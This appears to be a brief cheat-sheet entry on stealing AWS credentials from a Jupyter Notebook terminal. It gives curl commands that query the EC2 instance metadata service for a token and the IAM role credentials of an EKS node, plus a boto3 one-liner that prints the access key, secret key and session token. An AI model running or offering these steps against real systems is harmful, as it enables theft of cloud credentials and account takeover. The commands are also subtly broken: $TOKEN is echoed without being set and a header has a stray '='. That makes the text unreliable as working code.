Jupyter Notebook

Obtain EC2 IAM security credentials from a Jupyter Notebooks terminal

curl -X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' http://169.254.169.254/latest/api/token; echo $TOKEN

curl -H 'X-aws-ec2-metadata-token: <token-from-above>' http://169.254.169.254/latest/meta-data/

curl -H 'X-aws-ec2-metadata-token: <token-from-above>=' http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-jupyter-cluster-nodegroup-NodeInstanceRole-...
import boto3; credentials=boto3.Session().get_credentials(); print(credentials.access_key);print(credentials.secret_key);print(credentials.token)

Last updated